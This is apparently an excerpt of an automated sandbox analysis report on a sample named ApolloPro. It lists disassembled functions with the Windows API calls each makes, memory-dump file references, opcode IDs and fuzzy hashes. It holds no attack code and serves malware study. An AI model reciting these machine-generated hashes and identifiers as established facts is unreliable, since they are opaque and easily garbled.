                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: lstrcmpilstrcpylstrlen
                                                                    • String ID: cdecl
                                                                    • API String ID: 4031866154-3896280584
                                                                    • Opcode ID: 8f6abbc96de68887bf6840cdf71a4022e219abbfbb0a3e1f0e0cce64e742474d
                                                                    • Instruction ID: 2bcc20713582bfa32a5bfcda5148576e5018dd28ef2278d5f4629f2660f92740
                                                                    • Opcode Fuzzy Hash: 8f6abbc96de68887bf6840cdf71a4022e219abbfbb0a3e1f0e0cce64e742474d
                                                                    • Instruction Fuzzy Hash: 3211603A200345EFDB25AF64DC49D7B77B9FF45350B40842AF906CB2A0EB719950CB95
                                                                    Function 007E5312 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _free.LIBCMT ref: 007E5331
                                                                      • Part of subcall function 007D593C: __FF_MSGBANNER.LIBCMT ref: 007D5953
                                                                      • Part of subcall function 007D593C: __NMSG_WRITE.LIBCMT ref: 007D595A
                                                                      • Part of subcall function 007D593C: RtlAllocateHeap.NTDLL(01540000,00000000,00000001,?,?,?,?,007D1003,?,0000FFFF), ref: 007D597F
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AllocateHeap_free
                                                                    • String ID:
                                                                    • API String ID: 614378929-0
                                                                    • Opcode ID: 1656d4aff118a4e4ed220e6a77fa0d5797f31090528c982c56e7f3a2106ed0f9
                                                                    • Instruction ID: 7a3240fff8506d5d286a62a4858bacc9a470e4aa45a0cc38c3d05d8a88c4f856
                                                                    • Opcode Fuzzy Hash: 1656d4aff118a4e4ed220e6a77fa0d5797f31090528c982c56e7f3a2106ed0f9
                                                                    • Instruction Fuzzy Hash: 2E11EB31506E5DEFCB202F71AC0965A3BA56F1D3ACF20451BF5189A2D1DEBC8940C751
                                                                    Function 00814365 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00814385
                                                                    • _memset.LIBCMT ref: 008143A6
                                                                    • DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 008143F8
                                                                    • CloseHandle.KERNEL32(00000000), ref: 00814401
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CloseControlCreateDeviceFileHandle_memset
                                                                    • String ID:
                                                                    • API String ID: 1157408455-0
                                                                    • Opcode ID: fefc47abe906871b3da26f703c02009383f56472d3806214ed3514c9ef4bc562
                                                                    • Instruction ID: 75b0470dbadf3624dab45a80ff1a9eb0d9eff572c053b0b5c6663036e8c7d561
                                                                    • Opcode Fuzzy Hash: fefc47abe906871b3da26f703c02009383f56472d3806214ed3514c9ef4bc562
                                                                    • Instruction Fuzzy Hash: 2111CD759012287AD7309BA5AC4DFEBBB7CFF45760F10459AF908D7290D6744E80CBA4
                                                                    Function 00826A54 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00817E51,?,?,00000000), ref: 007C4041
                                                                      • Part of subcall function 007C402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00817E51,?,?,00000000,?,?), ref: 007C4065
                                                                    • gethostbyname.WSOCK32(?,?,?), ref: 00826A84
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 00826A8F
                                                                    • _memmove.LIBCMT ref: 00826ABC
                                                                    • inet_ntoa.WSOCK32(?), ref: 00826AC7
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
                                                                    • String ID:
                                                                    • API String ID: 1504782959-0
                                                                    • Opcode ID: b0d188d8786d37c86c170a233ca959c37059a6b102d268aabc7e9979c108e54d
                                                                    • Instruction ID: 0bac51a5e105a6f10fab5f6b574c191efe797eb91d7fd43ed0c61ba8ffb0c778
                                                                    • Opcode Fuzzy Hash: b0d188d8786d37c86c170a233ca959c37059a6b102d268aabc7e9979c108e54d
                                                                    • Instruction Fuzzy Hash: 3E113D76500118EFCB00EBA4DD4ADAEB7B8FF15311B144069F902A72A2DF35AE54DBA1
                                                                    Function 007B166C Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B29E2: GetWindowLongW.USER32(?,000000EB), ref: 007B29F3
                                                                    • DefDlgProcW.USER32(?,00000020,?), ref: 007B16B4
                                                                    • GetClientRect.USER32(?,?), ref: 007EB93C
                                                                    • GetCursorPos.USER32(?), ref: 007EB946
                                                                    • ScreenToClient.USER32(?,?), ref: 007EB951
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Client$CursorLongProcRectScreenWindow
                                                                    • String ID:
                                                                    • API String ID: 4127811313-0
                                                                    • Opcode ID: 09971705720bbfa2dded96884c35e0b9b46c0d4b086bad562b1c0d9db5e383a8
                                                                    • Instruction ID: a7938e6641042dc3a6d2b0f59d0275a6d274016b8e40e9d7bbf77fdd39d91956
                                                                    • Opcode Fuzzy Hash: 09971705720bbfa2dded96884c35e0b9b46c0d4b086bad562b1c0d9db5e383a8
                                                                    • Instruction Fuzzy Hash: EA113439A00119EBCB00EF98C899AFE77B8FB09304F900495EA51E7151DB34BA51CBA1
                                                                    Function 008096F9 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(?,000000B0,?,?), ref: 00809719
                                                                    • SendMessageW.USER32(?,000000C9,?,00000000), ref: 0080972B
                                                                    • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00809741
                                                                    • SendMessageW.USER32(?,000000C9,?,00000000), ref: 0080975C
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend
                                                                    • String ID:
                                                                    • API String ID: 3850602802-0
                                                                    • Opcode ID: f60c8f5f3c76634284955675ade5014e1e8d039966d0f1f0d87a020dd7941565
                                                                    • Instruction ID: d1081a4ff56465e2b84b19e167da232dfaf7730390651de695108bd352ba2fa5
                                                                    • Opcode Fuzzy Hash: f60c8f5f3c76634284955675ade5014e1e8d039966d0f1f0d87a020dd7941565
                                                                    • Instruction Fuzzy Hash: E3115A3A901218FFEB10DF95CD84E9DFBB8FB48710F204091EA04B7290D671AE10DB90
                                                                    Function 007B2111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 007B214F
                                                                    • GetStockObject.GDI32(00000011), ref: 007B2163
                                                                    • SendMessageW.USER32(00000000,00000030,00000000), ref: 007B216D
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CreateMessageObjectSendStockWindow
                                                                    • String ID:
                                                                    • API String ID: 3970641297-0
                                                                    • Opcode ID: 71ab8d7582b13b1d1d69bbd61ce099af4fe4fa83714b647179dfbc4087496b32
                                                                    • Instruction ID: c1ef5204c3f7c29b8f7e0b831eadc2751d888e41524742feaa4fc718e0dcd54b
                                                                    • Opcode Fuzzy Hash: 71ab8d7582b13b1d1d69bbd61ce099af4fe4fa83714b647179dfbc4087496b32
                                                                    • Instruction Fuzzy Hash: 111179B210224DBFDB025F949C44AEB7B69FF59394F050115FB0456121C7359C61EFA1
                                                                    Function 00811941 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,008104EC,?,0081153F,?,00008000), ref: 0081195E
                                                                    • Sleep.KERNEL32(00000000,?,?,?,?,?,?,008104EC,?,0081153F,?,00008000), ref: 00811983
                                                                    • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,008104EC,?,0081153F,?,00008000), ref: 0081198D
                                                                    • Sleep.KERNEL32(?,?,?,?,?,?,?,008104EC,?,0081153F,?,00008000), ref: 008119C0
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CounterPerformanceQuerySleep
                                                                    • String ID:
                                                                    • API String ID: 2875609808-0
                                                                    • Opcode ID: fe7fc9eaf09477b98ac5a4e5743524aed00ddaa80c636ad1ba8aeebb395599c1
                                                                    • Instruction ID: 728516bf670d5024b0abc7c9aea1dd33c7720167892e999a9e0d09d48bd3849b
                                                                    • Opcode Fuzzy Hash: fe7fc9eaf09477b98ac5a4e5743524aed00ddaa80c636ad1ba8aeebb395599c1
                                                                    • Instruction Fuzzy Hash: 19113331D0062DDBCF009FA4D998BEEBF78FF09701F804046EA90B2240CB3096A0CB96
                                                                    Function 0083E1CE Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 0083E1EA
                                                                    • LoadTypeLibEx.OLEAUT32(?,00000002,0000000C), ref: 0083E201
                                                                    • RegisterTypeLib.OLEAUT32(0000000C,?,00000000), ref: 0083E216
                                                                    • RegisterTypeLibForUser.OLEAUT32(0000000C,?,00000000), ref: 0083E234
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Type$Register$FileLoadModuleNameUser
                                                                    • String ID:
                                                                    • API String ID: 1352324309-0
                                                                    • Opcode ID: 75dd73a1eb9169bf8a155722e08b19517d51cd1446c89d8bf13f477787792080
                                                                    • Instruction ID: f1fd5676b987278b2922616710772ebde67ec2482418efbaa6050d3c4dcc84cc
                                                                    • Opcode Fuzzy Hash: 75dd73a1eb9169bf8a155722e08b19517d51cd1446c89d8bf13f477787792080
                                                                    • Instruction Fuzzy Hash: 55115EB52053199BE3308F51DD08F93BBBCFB80B04F108559B656D6590D7B4E504DFA1
                                                                    Function 007E71E7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                    • String ID:
                                                                    • API String ID: 3016257755-0
                                                                    • Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                                                    • Instruction ID: 904dce37d47467decfafc609bbf64797a4a5ceaabfb55814857311e1151decba
                                                                    • Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                                                    • Instruction Fuzzy Hash: 90018C3204918EFBCF1A5E86CC058EE3F3ABB2D340B488515FA1858131C33AC9B1EB81
                                                                    Function 0083B937 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetWindowRect.USER32(?,?), ref: 0083B956
                                                                    • ScreenToClient.USER32(?,?), ref: 0083B96E
                                                                    • ScreenToClient.USER32(?,?), ref: 0083B992
                                                                    • InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0083B9AD
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ClientRectScreen$InvalidateWindow
                                                                    • String ID:
                                                                    • API String ID: 357397906-0
                                                                    • Opcode ID: c5c291242f06571e384c6f075299fe74016c85203162b1e925c053c6b25635b8
                                                                    • Instruction ID: 13f50313d0be1835576975781bab34886308b2430a33e782cd1562d2dec0a007
                                                                    • Opcode Fuzzy Hash: c5c291242f06571e384c6f075299fe74016c85203162b1e925c053c6b25635b8
                                                                    • Instruction Fuzzy Hash: 2B1163B9D00209EFDB41CF98C884AEEBBF9FB59310F104156E915E3210D731AA61CF90
                                                                    Function 0083BCA7 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 0083BCB6
                                                                    • _memset.LIBCMT ref: 0083BCC5
                                                                    • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00878F20,00878F64), ref: 0083BCF4
                                                                    • CloseHandle.KERNEL32 ref: 0083BD06
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _memset$CloseCreateHandleProcess
                                                                    • String ID:
                                                                    • API String ID: 3277943733-0
                                                                    • Opcode ID: abf9ee7d8b589f7f87aab1c54aa207f2b6da9a63c05156bf9c09404bf7c2d797
                                                                    • Instruction ID: 31e60a0cc5df4a245a9ca41a5b96bc8b0fa61182fe3f91a41a2c593f1d13d35e
                                                                    • Opcode Fuzzy Hash: abf9ee7d8b589f7f87aab1c54aa207f2b6da9a63c05156bf9c09404bf7c2d797
                                                                    • Instruction Fuzzy Hash: A7F0DAB2680304FAE2506B65AC0DFBB3A5EFB09755F004421FB0CE52A6EF75985097A9
                                                                    Function 00817195 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • EnterCriticalSection.KERNEL32(?), ref: 008171A1
                                                                      • Part of subcall function 00817C7F: _memset.LIBCMT ref: 00817CB4
                                                                    • _memmove.LIBCMT ref: 008171C4
                                                                    • _memset.LIBCMT ref: 008171D1
                                                                    • LeaveCriticalSection.KERNEL32(?), ref: 008171E1
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CriticalSection_memset$EnterLeave_memmove
                                                                    • String ID:
                                                                    • API String ID: 48991266-0
                                                                    • Opcode ID: 236270d81af42c9f2c88171e8a1045aafa1e73dd960e4bd496f086f95760646d
                                                                    • Instruction ID: 880dca4a03e9cedda98519c8b7d34f5fff6730be3c7285367b825fd2e10ed1e5
                                                                    • Opcode Fuzzy Hash: 236270d81af42c9f2c88171e8a1045aafa1e73dd960e4bd496f086f95760646d
                                                                    • Instruction Fuzzy Hash: 17F05E3A200100ABCF416F55DC89A8ABB29FF45360F08C055FE089E22ACB35A951DFF5
                                                                    Function 0083C3C4 Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 007B1729
                                                                      • Part of subcall function 007B16CF: SelectObject.GDI32(?,00000000), ref: 007B1738
                                                                      • Part of subcall function 007B16CF: BeginPath.GDI32(?), ref: 007B174F
                                                                      • Part of subcall function 007B16CF: SelectObject.GDI32(?,00000000), ref: 007B1778
                                                                    • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0083C3E8
                                                                    • LineTo.GDI32(00000000,?,?), ref: 0083C3F5
                                                                    • EndPath.GDI32(00000000), ref: 0083C405
                                                                    • StrokePath.GDI32(00000000), ref: 0083C413
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                                                    • String ID:
                                                                    • API String ID: 1539411459-0
                                                                    • Opcode ID: 9c20e3b654d75f877dffb1083fe97ca7486224ce7a4c66cdfc80f740815b6dc5
                                                                    • Instruction ID: 31dc733086e47c937b8223f6d420c2f8ce61c714f71aef6295efac1cede09770
                                                                    • Opcode Fuzzy Hash: 9c20e3b654d75f877dffb1083fe97ca7486224ce7a4c66cdfc80f740815b6dc5
                                                                    • Instruction Fuzzy Hash: 01F05836005659BADB226F54AC0EFDE3F59BF06311F048010FB65A11E287B865A1DFEA
                                                                    Function 0080AA52 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0080AA6F
                                                                    • GetWindowThreadProcessId.USER32(?,00000000), ref: 0080AA82
                                                                    • GetCurrentThreadId.KERNEL32 ref: 0080AA89
                                                                    • AttachThreadInput.USER32(00000000), ref: 0080AA90
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                    • String ID:
                                                                    • API String ID: 2710830443-0
                                                                    • Opcode ID: a6ed20d9843d141e9730be22dc022a32abeacb0973e54a66a134ce104e49859b
                                                                    • Instruction ID: e9a0460d2a821b3a7a6eb9dc64bc99a6f5799fff50387c09a3651d6e7f96f7d0
                                                                    • Opcode Fuzzy Hash: a6ed20d9843d141e9730be22dc022a32abeacb0973e54a66a134ce104e49859b
                                                                    • Instruction Fuzzy Hash: C1E03931641328BADB215FA2DD0CEEB3F1CFF227A1F008011FA0AD5090C6718550CBA0
                                                                    Function 007B25F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetSysColor.USER32(00000008), ref: 007B260D
                                                                    • SetTextColor.GDI32(?,000000FF), ref: 007B2617
                                                                    • SetBkMode.GDI32(?,00000001), ref: 007B262C
                                                                    • GetStockObject.GDI32(00000005), ref: 007B2634
                                                                    • GetWindowDC.USER32(?,00000000), ref: 007EC1C4
                                                                    • GetPixel.GDI32(00000000,00000000,00000000), ref: 007EC1D1
                                                                    • GetPixel.GDI32(00000000,?,00000000), ref: 007EC1EA
